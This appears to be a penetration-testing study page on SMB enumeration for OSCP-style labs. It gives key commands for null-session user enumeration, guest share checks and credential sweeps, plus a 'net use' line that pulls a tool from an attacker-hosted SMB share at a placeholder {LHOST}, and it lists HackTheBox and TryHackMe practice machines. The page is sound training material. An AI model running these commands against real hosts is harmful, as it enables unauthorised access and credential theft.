SMB Enumeration and Exploitation: practice machines and key commands

By Daniel Dayan ยท Updated

SMB exposes file shares, named pipes and RPC, so it is often the first place to look on Windows and Samba hosts. Start by checking for null or guest sessions, listing shares and reading anything that is world readable, since backups, scripts and configuration files frequently contain credentials. Tools such as smbclient, smbmap, rpcclient and NetExec cover share listing, user enumeration and password spraying. Writable shares can be abused to plant a payload or a poisoned file, and SMB signing status tells you whether relay attacks are realistic. On older systems, version-specific bugs and Samba misconfigurations can lead straight to a shell. Record every username you find; they feed Kerberos and password attacks later. These machines show SMB used as an entry point or as a source of loot.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

rpcclient Anonymous / Null Session User Enum

Establish null session to RPC endpoint and list domain users, groups, and password policy.

rpcclient -U "" -N {TARGET_IP} -c "enumdomusers; querydispinfo; enumdomgroups"

SMBMap Anonymous / Guest Share Check

Check SMB permissions across all shares anonymously without credentials.

smbmap -H {TARGET_IP} -u "" -p ""

NetExec / CrackMapExec Domain Sweep

Check SMB credentials validity, local admin status (Pwn3d!), and password policies.

nxc smb {TARGET_IP} -u {USER} -p "{PASSWORD}" --shares

SMB Share Drive Mount & Copy (Windows)

Mount remote attacker SMB share as network drive letter and copy tools.

net use Z: \\{LHOST}\share /user:guest "" && copy Z:\tool.exe C:\Temp\tool.exe

Impacket SMB Server File Share

Host local folder as unauthenticated SMB share accessible by Windows machines.

sudo impacket-smbserver share $(pwd) -smb2support

Keep going

SMB Enumeration and Exploitation machines (17)

7 of these are machines I solved myself and are listed first within each difficulty. 11 Windows, 6 Linux.

Listed when a machine has a catalog tag that is one of: share enumeration, exploiting smb, exploiting samba, smb enumeration, smb, smbclient, samba, rpc, smbmap; or a tag that contains the word smb or samba. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

SMB Enumeration and Exploitation at a glance

Very Easy (3)

MachinePlatformOSTags
ArchetypeMSSQLxp_cmdshellJuicyPotatoPowerShellHTBWindowsEditor-mapped, MSSQL, xp_cmdshell, JuicyPotato
DancingSMBShare EnumerationsmbclientHTBWindowsSMB, Share Enumeration, smbclient
TacticsSMBHTBWindowsSMB

Easy (10)

MachinePlatformOSTags
Basic PentestingSMB-EnumerationHydraJohn The RipperTHMLinuxSMB-Enumeration, Hydra, John The Ripper
Blue IppSecHTBWindowsEditor-mapped
LameSambaCVE-2007-2447HTBLinuxSamba, CVE-2007-2447
LegacySMBCVE-2008-4250HTBWindowsSMB, CVE-2008-4250
Bastion IppSecSMBExploiting-MRemoteNGSAM HiveVHDHTBWindowsSMB, Exploiting-MRemoteNG, SAM Hive, VHD
BlueSMBEternalBlueMS17-010THMWindowsSMB, EternalBlue, MS17-010
KenobiSambaProFTPDSUIDPath-HijackingTHMLinuxSamba, ProFTPD, SUID, Path-Hijacking
SkynetSambaSquirrelMailCuppa CMSLFITHMLinuxSamba, SquirrelMail, Cuppa CMS, LFI
Timelapse IppSecPublic-SMB-ShareHTBWindowsPublic-SMB-Share
VulnNet: InternalSMBRedisTeamCityTunnelingTHMLinuxSMB, Redis, TeamCity, Tunneling

Medium (2)

MachinePlatformOSTags
RelevantSMBIISWebShellPrintSpooferTHMWindowsSMB, IIS, WebShell, PrintSpoofer
Resolute IppSecRPCActive DirectoryDLL InjectionDNSAdminsHTBWindowsRPC, Active Directory, DLL Injection, DNSAdmins

Hard (2)

MachinePlatformOSTags
Blackfield IppSecRPCAS-REP RoastingActive DirectoryAnonymous-/-GuestHTBWindowsRPC, AS-REP Roasting, Active Directory, Anonymous-/-Guest
CherryBlossomsmbclientnmapbase64binwalkTHMLinuxsmbclient, nmap, base64, binwalk

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.